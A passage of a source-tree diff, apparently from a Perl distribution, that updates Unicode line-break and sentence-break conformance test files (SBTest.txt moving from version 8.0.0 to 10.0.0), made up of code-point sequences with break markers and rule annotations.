+× 0028 × 1850 × 1846 × 1851 × 1846 ÷ 1806 × 0029 × 182A × 1822 × 1834 × 1822 × 182D × 180C ÷ # × [0.3] LEFT PARENTHESIS (OP) × [14.0] MONGOLIAN LETTER TODO TA (AL) × [28.0] MONGOLIAN LETTER TODO O (AL) × [28.0] MONGOLIAN LETTER TODO DA (AL) × [28.0] MONGOLIAN LETTER TODO O (AL) ÷ [999.0] MONGOLIAN TODO SOFT HYPHEN (BB) × [13.02] RIGHT PARENTHESIS (CP) × [30.02] MONGOLIAN LETTER BA (AL) × [28.0] MONGOLIAN LETTER I (AL) × [28.0] MONGOLIAN LETTER CHA (AL) × [28.0] MONGOLIAN LETTER I (AL) × [28.0] MONGOLIAN LETTER GA (AL) × [9.0] MONGOLIAN FREE VARIATION SELECTOR TWO (CM1_CM) ÷ [0.3]
+× 0028 × 1850 × 1846 × 1851 × 1846 × 0029 ÷ 1806 × 182A × 1822 × 1834 × 1822 × 182D × 180C ÷ # × [0.3] LEFT PARENTHESIS (OP) × [14.0] MONGOLIAN LETTER TODO TA (AL) × [28.0] MONGOLIAN LETTER TODO O (AL) × [28.0] MONGOLIAN LETTER TODO DA (AL) × [28.0] MONGOLIAN LETTER TODO O (AL) × [13.02] RIGHT PARENTHESIS (CP) ÷ [999.0] MONGOLIAN TODO SOFT HYPHEN (BB) × [21.04] MONGOLIAN LETTER BA (AL) × [28.0] MONGOLIAN LETTER I (AL) × [28.0] MONGOLIAN LETTER CHA (AL) × [28.0] MONGOLIAN LETTER I (AL) × [28.0] MONGOLIAN LETTER GA (AL) × [9.0] MONGOLIAN FREE VARIATION SELECTOR TWO (CM1_CM) ÷ [0.3]
+× 007B × 1850 × 1846 × 1851 × 1846 ÷ 1806 × 007D ÷ 182A × 1822 × 1834 × 1822 × 182D × 180C ÷ # × [0.3] LEFT CURLY BRACKET (OP) × [14.0] MONGOLIAN LETTER TODO TA (AL) × [28.0] MONGOLIAN LETTER TODO O (AL) × [28.0] MONGOLIAN LETTER TODO DA (AL) × [28.0] MONGOLIAN LETTER TODO O (AL) ÷ [999.0] MONGOLIAN TODO SOFT HYPHEN (BB) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [999.0] MONGOLIAN LETTER BA (AL) × [28.0] MONGOLIAN LETTER I (AL) × [28.0] MONGOLIAN LETTER CHA (AL) × [28.0] MONGOLIAN LETTER I (AL) × [28.0] MONGOLIAN LETTER GA (AL) × [9.0] MONGOLIAN FREE VARIATION SELECTOR TWO (CM1_CM) ÷ [0.3]
+× 007B × 1850 × 1846 × 1851 × 1846 × 007D ÷ 1806 × 182A × 1822 × 1834 × 1822 × 182D × 180C ÷ # × [0.3] LEFT CURLY BRACKET (OP) × [14.0] MONGOLIAN LETTER TODO TA (AL) × [28.0] MONGOLIAN LETTER TODO O (AL) × [28.0] MONGOLIAN LETTER TODO DA (AL) × [28.0] MONGOLIAN LETTER TODO O (AL) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [999.0] MONGOLIAN TODO SOFT HYPHEN (BB) × [21.04] MONGOLIAN LETTER BA (AL) × [28.0] MONGOLIAN LETTER I (AL) × [28.0] MONGOLIAN LETTER CHA (AL) × [28.0] MONGOLIAN LETTER I (AL) × [28.0] MONGOLIAN LETTER GA (AL) × [9.0] MONGOLIAN FREE VARIATION SELECTOR TWO (CM1_CM) ÷ [0.3]
× 0028 × 0068 × 0074 × 0074 × 0070 × 003A × 002F × 002F × 0029 × 0078 × 006E × 002D × 002D ÷ 0061 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [14.0] LATIN SMALL LETTER H (AL) × [28.0] LATIN SMALL LETTER T (AL) × [28.0] LATIN SMALL LETTER T (AL) × [28.0] LATIN SMALL LETTER P (AL) × [13.02] COLON (IS) × [13.02] SOLIDUS (SY) × [13.02] SOLIDUS (SY) × [13.02] RIGHT PARENTHESIS (CP) × [30.02] LATIN SMALL LETTER X (AL) × [28.0] LATIN SMALL LETTER N (AL) × [21.02] HYPHEN-MINUS (HY) × [21.02] HYPHEN-MINUS (HY) ÷ [999.0] LATIN SMALL LETTER A (AL) ÷ [0.3]
× 007B × 0068 × 0074 × 0074 × 0070 × 003A × 002F × 002F × 007D ÷ 0078 × 006E × 002D × 002D ÷ 0061 ÷ # × [0.3] LEFT CURLY BRACKET (OP) × [14.0] LATIN SMALL LETTER H (AL) × [28.0] LATIN SMALL LETTER T (AL) × [28.0] LATIN SMALL LETTER T (AL) × [28.0] LATIN SMALL LETTER P (AL) × [13.02] COLON (IS) × [13.02] SOLIDUS (SY) × [13.02] SOLIDUS (SY) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [999.0] LATIN SMALL LETTER X (AL) × [28.0] LATIN SMALL LETTER N (AL) × [21.02] HYPHEN-MINUS (HY) × [21.02] HYPHEN-MINUS (HY) ÷ [999.0] LATIN SMALL LETTER A (AL) ÷ [0.3]
× 0028 × 0030 × 002C × 0031 × 0029 × 002B × 0028 × 0032 × 002C × 0033 × 0029 × 2295 × 0028 × 2212 × 0034 × 002C × 0035 × 0029 × 2296 × 0028 × 0036 × 002C × 0037 × 0029 ÷ # × [0.3] LEFT PARENTHESIS (OP) × [14.0] DIGIT ZERO (NU) × [25.03] COMMA (IS) × [25.04] DIGIT ONE (NU) × [25.04] RIGHT PARENTHESIS (CP) × [25.05] PLUS SIGN (PR) × [25.01] LEFT PARENTHESIS (OP) × [14.0] DIGIT TWO (NU) × [25.03] COMMA (IS) × [25.04] DIGIT THREE (NU) × [25.04] RIGHT PARENTHESIS (CP) × [30.02] CIRCLED PLUS (AI_AL) × [30.01] LEFT PARENTHESIS (OP) × [14.0] MINUS SIGN (PR) × [25.01] DIGIT FOUR (NU) × [25.03] COMMA (IS) × [25.04] DIGIT FIVE (NU) × [25.04] RIGHT PARENTHESIS (CP) × [30.02] CIRCLED MINUS (AL) × [30.01] LEFT PARENTHESIS (OP) × [14.0] DIGIT SIX (NU) × [25.03] COMMA (IS) × [25.04] DIGIT SEVEN (NU) × [25.04] RIGHT PARENTHESIS (CP) ÷ [0.3]
@@ -6199,8 +7209,8 @@
× 0061 × 0062 × 0020 ÷ # × [0.3] LATIN SMALL LETTER A (AL) × [28.0] LATIN SMALL LETTER B (AL) × [7.01] SPACE (SP) ÷ [0.3]
× 0061 × 0062 × 0020 ÷ 0063 ÷ # × [0.3] LATIN SMALL LETTER A (AL) × [28.0] LATIN SMALL LETTER B (AL) × [7.01] SPACE (SP) ÷ [18.0] LATIN SMALL LETTER C (AL) ÷ [0.3]
× 0061 ÷ 307E ÷ # × [0.3] LATIN SMALL LETTER A (AL) ÷ [999.0] HIRAGANA LETTER MA (ID) ÷ [0.3]
-× 0939 × 093F × 0928 × 094D × 0926 × 0940 × 0020 ÷ # × [0.3] DEVANAGARI LETTER HA (AL) × [9.0] DEVANAGARI VOWEL SIGN I (CM) × [28.0] DEVANAGARI LETTER NA (AL) × [9.0] DEVANAGARI SIGN VIRAMA (CM) × [28.0] DEVANAGARI LETTER DA (AL) × [9.0] DEVANAGARI VOWEL SIGN II (CM) × [7.01] SPACE (SP) ÷ [0.3]
-× 092F × 0938 × 0917 × 0941 × 091A × 093F × 0924 × 0940 × 092F × 0938 × 093E × 0020 ÷ # × [0.3] DEVANAGARI LETTER YA (AL) × [28.0] DEVANAGARI LETTER SA (AL) × [28.0] DEVANAGARI LETTER GA (AL) × [9.0] DEVANAGARI VOWEL SIGN U (CM) × [28.0] DEVANAGARI LETTER CA (AL) × [9.0] DEVANAGARI VOWEL SIGN I (CM) × [28.0] DEVANAGARI LETTER TA (AL) × [9.0] DEVANAGARI VOWEL SIGN II (CM) × [28.0] DEVANAGARI LETTER YA (AL) × [28.0] DEVANAGARI LETTER SA (AL) × [9.0] DEVANAGARI VOWEL SIGN AA (CM) × [7.01] SPACE (SP) ÷ [0.3]
+× 0939 × 093F × 0928 × 094D × 0926 × 0940 × 0020 ÷ # × [0.3] DEVANAGARI LETTER HA (AL) × [9.0] DEVANAGARI VOWEL SIGN I (CM1_CM) × [28.0] DEVANAGARI LETTER NA (AL) × [9.0] DEVANAGARI SIGN VIRAMA (CM1_CM) × [28.0] DEVANAGARI LETTER DA (AL) × [9.0] DEVANAGARI VOWEL SIGN II (CM1_CM) × [7.01] SPACE (SP) ÷ [0.3]
+× 092F × 0938 × 0917 × 0941 × 091A × 093F × 0924 × 0940 × 092F × 0938 × 093E × 0020 ÷ # × [0.3] DEVANAGARI LETTER YA (AL) × [28.0] DEVANAGARI LETTER SA (AL) × [28.0] DEVANAGARI LETTER GA (AL) × [9.0] DEVANAGARI VOWEL SIGN U (CM1_CM) × [28.0] DEVANAGARI LETTER CA (AL) × [9.0] DEVANAGARI VOWEL SIGN I (CM1_CM) × [28.0] DEVANAGARI LETTER TA (AL) × [9.0] DEVANAGARI VOWEL SIGN II (CM1_CM) × [28.0] DEVANAGARI LETTER YA (AL) × [28.0] DEVANAGARI LETTER SA (AL) × [9.0] DEVANAGARI VOWEL SIGN AA (CM1_CM) × [7.01] SPACE (SP) ÷ [0.3]
× 5370 ÷ 672C ÷ # × [0.3] CJK UNIFIED IDEOGRAPH-5370 (ID) ÷ [999.0] CJK UNIFIED IDEOGRAPH-672C (ID) ÷ [0.3]
× 8AAD ÷ 3080 ÷ # × [0.3] CJK UNIFIED IDEOGRAPH-8AAD (ID) ÷ [999.0] HIRAGANA LETTER MU (ID) ÷ [0.3]
× 5165 ÷ 529B ÷ 3057 ÷ 30A8 ÷ # × [0.3] CJK UNIFIED IDEOGRAPH-5165 (ID) ÷ [999.0] CJK UNIFIED IDEOGRAPH-529B (ID) ÷ [999.0] HIRAGANA LETTER SI (ID) ÷ [999.0] KATAKANA LETTER E (ID) ÷ [0.3]
@@ -6324,16 +7334,11 @@
× 3057 × 3001 ÷ 0061 × 0062 ÷ 3068 ÷ # × [0.3] HIRAGANA LETTER SI (ID) × [13.02] IDEOGRAPHIC COMMA (CL) ÷ [999.0] LATIN SMALL LETTER A (AL) × [28.0] LATIN SMALL LETTER B (AL) ÷ [999.0] HIRAGANA LETTER TO (ID) ÷ [0.3]
× 0061 ÷ 1F1E6 ÷ 0062 ÷ # × [0.3] LATIN SMALL LETTER A (AL) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [999.0] LATIN SMALL LETTER B (AL) ÷ [0.3]
× 1F1F7 × 1F1FA ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER R (RI) × [30.11] REGIONAL INDICATOR SYMBOL LETTER U (RI) ÷ [0.3]
-× 1F1F7 × 1F1FA × 1F1F8 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER R (RI) × [30.11] REGIONAL INDICATOR SYMBOL LETTER U (RI) × [30.11] REGIONAL INDICATOR SYMBOL LETTER S (RI) ÷ [0.3]
-× 1F1F7 × 1F1FA × 1F1F8 × 1F1EA ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER R (RI) × [30.11] REGIONAL INDICATOR SYMBOL LETTER U (RI) × [30.11] REGIONAL INDICATOR SYMBOL LETTER S (RI) × [30.11] REGIONAL INDICATOR SYMBOL LETTER E (RI) ÷ [0.3]
-× 1F1F7 × 1F1FA × 200B ÷ 1F1F8 × 1F1EA ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER R (RI) × [30.11] REGIONAL INDICATOR SYMBOL LETTER U (RI) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [8.0] REGIONAL INDICATOR SYMBOL LETTER S (RI) × [30.11] REGIONAL INDICATOR SYMBOL LETTER E (RI) ÷ [0.3]
+× 1F1F7 × 1F1FA ÷ 1F1F8 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER R (RI) × [30.11] REGIONAL INDICATOR SYMBOL LETTER U (RI) ÷ [30.13] REGIONAL INDICATOR SYMBOL LETTER S (RI) ÷ [0.3]
+× 1F1F7 × 1F1FA ÷ 1F1F8 × 1F1EA ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER R (RI) × [30.11] REGIONAL INDICATOR SYMBOL LETTER U (RI) ÷ [30.13] REGIONAL INDICATOR SYMBOL LETTER S (RI) × [30.11] REGIONAL INDICATOR SYMBOL LETTER E (RI) ÷ [0.3]
+× 1F1F7 × 1F1FA × 200B ÷ 1F1F8 × 1F1EA ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER R (RI) × [30.11] REGIONAL INDICATOR SYMBOL LETTER U (RI) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [8.0] REGIONAL INDICATOR SYMBOL LETTER S (RI) × [30.12] REGIONAL INDICATOR SYMBOL LETTER E (RI) ÷ [0.3]
× 05D0 × 002D × 05D0 ÷ # × [0.3] HEBREW LETTER ALEF (HL) × [21.02] HYPHEN-MINUS (HY) × [21.1] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 1F1E6 × 1F1E7 × 1F1E8 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [30.11] REGIONAL INDICATOR SYMBOL LETTER B (RI) × [30.11] REGIONAL INDICATOR SYMBOL LETTER C (RI) ÷ [0.3]
-× 1F1E6 × 200D × 1F1E7 × 1F1E8 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [9.0] ZERO WIDTH JOINER (CM) × [30.11] REGIONAL INDICATOR SYMBOL LETTER B (RI) × [30.11] REGIONAL INDICATOR SYMBOL LETTER C (RI) ÷ [0.3]
-× 1F1E6 × 1F1E7 × 200D × 1F1E8 ÷ # × [0.3] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [30.11] REGIONAL INDICATOR SYMBOL LETTER B (RI) × [9.0] ZERO WIDTH JOINER (CM) × [30.11] REGIONAL INDICATOR SYMBOL LETTER C (RI) ÷ [0.3]
-× 0020 ÷ 200D × 0646 ÷ # × [0.3] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (CM) × [28.0] ARABIC LETTER NOON (AL) ÷ [0.3]
-× 0646 × 200D × 0020 ÷ # × [0.3] ARABIC LETTER NOON (AL) × [9.0] ZERO WIDTH JOINER (CM) × [7.01] SPACE (SP) ÷ [0.3]
#
-# Lines: 6311
+# Lines: 7312
#
# EOF
diff --git a/gnu/usr.bin/perl/lib/unicore/auxiliary/SBTest.txt b/gnu/usr.bin/perl/lib/unicore/auxiliary/SBTest.txt
index 279e6db06d5..2985b84cf80 100644
--- a/gnu/usr.bin/perl/lib/unicore/auxiliary/SBTest.txt
+++ b/gnu/usr.bin/perl/lib/unicore/auxiliary/SBTest.txt
@@ -1,291 +1,293 @@
-# SentenceBreakTest-8.0.0.txt
-# Date: 2015-04-30, 09:40:15 GMT [MD]
+# SentenceBreakTest-10.0.0.txt
+# Date: 2017-04-14, 05:40:43 GMT
+# © 2017 Unicode®, Inc.
+# Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries.
+# For terms of use, see http://www.unicode.org/terms_of_use.html
#
# Unicode Character Database
-# Copyright (c) 1991-2015 Unicode, Inc.
-# For terms of use, see http://www.unicode.org/terms_of_use.html
-# For documentation, see http://www.unicode.org/reports/tr44/
+# For documentation, see http://www.unicode.org/reports/tr44/
#
-# Default Sentence Break Test
+# Default Sentence_Break Test
#
# Format:
-# <string> (# <comment>)?
-# <string> contains hex Unicode code points, with
-# ÷ wherever there is a break opportunity, and
+# <string> (# <comment>)?
+# <string> contains hex Unicode code points, with
+# ÷ wherever there is a break opportunity, and
# × wherever there is not.
# <comment> the format can change, but currently it shows:
# - the sample character name
# - (x) the Sentence_Break property value for the sample character
-# - [x] the rule that determines whether there is a break or not
+# - [x] the rule that determines whether there is a break or not,
+# as listed in the Rules section of SentenceBreakTest.html
#
# These samples may be extended or changed in the future.
#
-÷ 0001 × 0001 ÷ # ÷ [0.2] <START OF HEADING> (Other) × [12.0] <START OF HEADING> (Other) ÷ [0.3]
-÷ 0001 × 0308 × 0001 ÷ # ÷ [0.2] <START OF HEADING> (Other) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] <START OF HEADING> (Other) ÷ [0.3]
-÷ 0001 × 000D ÷ # ÷ [0.2] <START OF HEADING> (Other) × [12.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-÷ 0001 × 0308 × 000D ÷ # ÷ [0.2] <START OF HEADING> (Other) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-÷ 0001 × 000A ÷ # ÷ [0.2] <START OF HEADING> (Other) × [12.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-÷ 0001 × 0308 × 000A ÷ # ÷ [0.2] <START OF HEADING> (Other) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-÷ 0001 × 0085 ÷ # ÷ [0.2] <START OF HEADING> (Other) × [12.0] <NEXT LINE (NEL)> (Sep) ÷ [0.3]
-÷ 0001 × 0308 × 0085 ÷ # ÷ [0.2] <START OF HEADING> (Other) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] <NEXT LINE (NEL)> (Sep) ÷ [0.3]
-÷ 0001 × 0009 ÷ # ÷ [0.2] <START OF HEADING> (Other) × [12.0] <CHARACTER TABULATION> (Sp) ÷ [0.3]
-÷ 0001 × 0308 × 0009 ÷ # ÷ [0.2] <START OF HEADING> (Other) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] <CHARACTER TABULATION> (Sp) ÷ [0.3]
-÷ 0001 × 0061 ÷ # ÷ [0.2] <START OF HEADING> (Other) × [12.0] LATIN SMALL LETTER A (Lower) ÷ [0.3]
-÷ 0001 × 0308 × 0061 ÷ # ÷ [0.2] <START OF HEADING> (Other) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] LATIN SMALL LETTER A (Lower) ÷ [0.3]
-÷ 0001 × 0041 ÷ # ÷ [0.2] <START OF HEADING> (Other) × [12.0] LATIN CAPITAL LETTER A (Upper) ÷ [0.3]
-÷ 0001 × 0308 × 0041 ÷ # ÷ [0.2] <START OF HEADING> (Other) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] LATIN CAPITAL LETTER A (Upper) ÷ [0.3]
-÷ 0001 × 01BB ÷ # ÷ [0.2] <START OF HEADING> (Other) × [12.0] LATIN LETTER TWO WITH STROKE (OLetter) ÷ [0.3]
-÷ 0001 × 0308 × 01BB ÷ # ÷ [0.2] <START OF HEADING> (Other) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] LATIN LETTER TWO WITH STROKE (OLetter) ÷ [0.3]
-÷ 0001 × 0030 ÷ # ÷ [0.2] <START OF HEADING> (Other) × [12.0] DIGIT ZERO (Numeric) ÷ [0.3]
-÷ 0001 × 0308 × 0030 ÷ # ÷ [0.2] <START OF HEADING> (Other) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] DIGIT ZERO (Numeric) ÷ [0.3]
-÷ 0001 × 002E ÷ # ÷ [0.2] <START OF HEADING> (Other) × [12.0] FULL STOP (ATerm) ÷ [0.3]
-÷ 0001 × 0308 × 002E ÷ # ÷ [0.2] <START OF HEADING> (Other) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] FULL STOP (ATerm) ÷ [0.3]
-÷ 0001 × 0021 ÷ # ÷ [0.2] <START OF HEADING> (Other) × [12.0] EXCLAMATION MARK (STerm) ÷ [0.3]
-÷ 0001 × 0308 × 0021 ÷ # ÷ [0.2] <START OF HEADING> (Other) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] EXCLAMATION MARK (STerm) ÷ [0.3]
-÷ 0001 × 0022 ÷ # ÷ [0.2] <START OF HEADING> (Other) × [12.0] QUOTATION MARK (Close) ÷ [0.3]
-÷ 0001 × 0308 × 0022 ÷ # ÷ [0.2] <START OF HEADING> (Other) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] QUOTATION MARK (Close) ÷ [0.3]
-÷ 0001 × 002C ÷ # ÷ [0.2] <START OF HEADING> (Other) × [12.0] COMMA (SContinue) ÷ [0.3]
-÷ 0001 × 0308 × 002C ÷ # ÷ [0.2] <START OF HEADING> (Other) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] COMMA (SContinue) ÷ [0.3]
+÷ 0001 × 0001 ÷ # ÷ [0.2] <START OF HEADING> (Other) × [998.0] <START OF HEADING> (Other) ÷ [0.3]
+÷ 0001 × 0308 × 0001 ÷ # ÷ [0.2] <START OF HEADING> (Other) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] <START OF HEADING> (Other) ÷ [0.3]
+÷ 0001 × 000D ÷ # ÷ [0.2] <START OF HEADING> (Other) × [998.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+÷ 0001 × 0308 × 000D ÷ # ÷ [0.2] <START OF HEADING> (Other) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+÷ 0001 × 000A ÷ # ÷ [0.2] <START OF HEADING> (Other) × [998.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+÷ 0001 × 0308 × 000A ÷ # ÷ [0.2] <START OF HEADING> (Other) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+÷ 0001 × 0085 ÷ # ÷ [0.2] <START OF HEADING> (Other) × [998.0] <NEXT LINE (NEL)> (Sep) ÷ [0.3]
+÷ 0001 × 0308 × 0085 ÷ # ÷ [0.2] <START OF HEADING> (Other) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] <NEXT LINE (NEL)> (Sep) ÷ [0.3]
+÷ 0001 × 0009 ÷ # ÷ [0.2] <START OF HEADING> (Other) × [998.0] <CHARACTER TABULATION> (Sp) ÷ [0.3]
+÷ 0001 × 0308 × 0009 ÷ # ÷ [0.2] <START OF HEADING> (Other) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] <CHARACTER TABULATION> (Sp) ÷ [0.3]
+÷ 0001 × 0061 ÷ # ÷ [0.2] <START OF HEADING> (Other) × [998.0] LATIN SMALL LETTER A (Lower) ÷ [0.3]
+÷ 0001 × 0308 × 0061 ÷ # ÷ [0.2] <START OF HEADING> (Other) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] LATIN SMALL LETTER A (Lower) ÷ [0.3]
+÷ 0001 × 0041 ÷ # ÷ [0.2] <START OF HEADING> (Other) × [998.0] LATIN CAPITAL LETTER A (Upper) ÷ [0.3]
+÷ 0001 × 0308 × 0041 ÷ # ÷ [0.2] <START OF HEADING> (Other) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] LATIN CAPITAL LETTER A (Upper) ÷ [0.3]
+÷ 0001 × 01BB ÷ # ÷ [0.2] <START OF HEADING> (Other) × [998.0] LATIN LETTER TWO WITH STROKE (OLetter) ÷ [0.3]
+÷ 0001 × 0308 × 01BB ÷ # ÷ [0.2] <START OF HEADING> (Other) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] LATIN LETTER TWO WITH STROKE (OLetter) ÷ [0.3]
+÷ 0001 × 0030 ÷ # ÷ [0.2] <START OF HEADING> (Other) × [998.0] DIGIT ZERO (Numeric) ÷ [0.3]
+÷ 0001 × 0308 × 0030 ÷ # ÷ [0.2] <START OF HEADING> (Other) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] DIGIT ZERO (Numeric) ÷ [0.3]
+÷ 0001 × 002E ÷ # ÷ [0.2] <START OF HEADING> (Other) × [998.0] FULL STOP (ATerm) ÷ [0.3]
+÷ 0001 × 0308 × 002E ÷ # ÷ [0.2] <START OF HEADING> (Other) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] FULL STOP (ATerm) ÷ [0.3]
+÷ 0001 × 0021 ÷ # ÷ [0.2] <START OF HEADING> (Other) × [998.0] EXCLAMATION MARK (STerm) ÷ [0.3]
+÷ 0001 × 0308 × 0021 ÷ # ÷ [0.2] <START OF HEADING> (Other) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] EXCLAMATION MARK (STerm) ÷ [0.3]
+÷ 0001 × 0022 ÷ # ÷ [0.2] <START OF HEADING> (Other) × [998.0] QUOTATION MARK (Close) ÷ [0.3]
+÷ 0001 × 0308 × 0022 ÷ # ÷ [0.2] <START OF HEADING> (Other) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] QUOTATION MARK (Close) ÷ [0.3]
+÷ 0001 × 002C ÷ # ÷ [0.2] <START OF HEADING> (Other) × [998.0] COMMA (SContinue) ÷ [0.3]
+÷ 0001 × 0308 × 002C ÷ # ÷ [0.2] <START OF HEADING> (Other) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] COMMA (SContinue) ÷ [0.3]
÷ 0001 × 00AD ÷ # ÷ [0.2] <START OF HEADING> (Other) × [5.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 0001 × 0308 × 00AD ÷ # ÷ [0.2] <START OF HEADING> (Other) × [5.0] COMBINING DIAERESIS (Extend_FE) × [5.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 0001 × 0300 ÷ # ÷ [0.2] <START OF HEADING> (Other) × [5.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
÷ 0001 × 0308 × 0300 ÷ # ÷ [0.2] <START OF HEADING> (Other) × [5.0] COMBINING DIAERESIS (Extend_FE) × [5.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
÷ 000D ÷ 0001 ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [4.0] <START OF HEADING> (Other) ÷ [0.3]
-÷ 000D ÷ 0308 × 0001 ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [12.0] <START OF HEADING> (Other) ÷ [0.3]
+÷ 000D ÷ 0308 × 0001 ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [998.0] <START OF HEADING> (Other) ÷ [0.3]
÷ 000D ÷ 000D ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [4.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-÷ 000D ÷ 0308 × 000D ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [12.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+÷ 000D ÷ 0308 × 000D ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [998.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
÷ 000D × 000A ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) × [3.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-÷ 000D ÷ 0308 × 000A ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [12.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+÷ 000D ÷ 0308 × 000A ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [998.0] <LINE FEED (LF)> (LF) ÷ [0.3]
÷ 000D ÷ 0085 ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [4.0] <NEXT LINE (NEL)> (Sep) ÷ [0.3]
-÷ 000D ÷ 0308 × 0085 ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [12.0] <NEXT LINE (NEL)> (Sep) ÷ [0.3]
+÷ 000D ÷ 0308 × 0085 ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [998.0] <NEXT LINE (NEL)> (Sep) ÷ [0.3]
÷ 000D ÷ 0009 ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [4.0] <CHARACTER TABULATION> (Sp) ÷ [0.3]
-÷ 000D ÷ 0308 × 0009 ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [12.0] <CHARACTER TABULATION> (Sp) ÷ [0.3]
+÷ 000D ÷ 0308 × 0009 ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [998.0] <CHARACTER TABULATION> (Sp) ÷ [0.3]
÷ 000D ÷ 0061 ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [4.0] LATIN SMALL LETTER A (Lower) ÷ [0.3]
-÷ 000D ÷ 0308 × 0061 ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [12.0] LATIN SMALL LETTER A (Lower) ÷ [0.3]
+÷ 000D ÷ 0308 × 0061 ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [998.0] LATIN SMALL LETTER A (Lower) ÷ [0.3]
÷ 000D ÷ 0041 ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [4.0] LATIN CAPITAL LETTER A (Upper) ÷ [0.3]
-÷ 000D ÷ 0308 × 0041 ÷ # ÷ [0.2] <CARRIAGE RETURN (CR)> (CR) ÷ [4.0] COMBINING DIAERESIS (Extend_FE) × [12.0] LATIN CAPITAL LETTER A (Upper) ÷ [0.3]
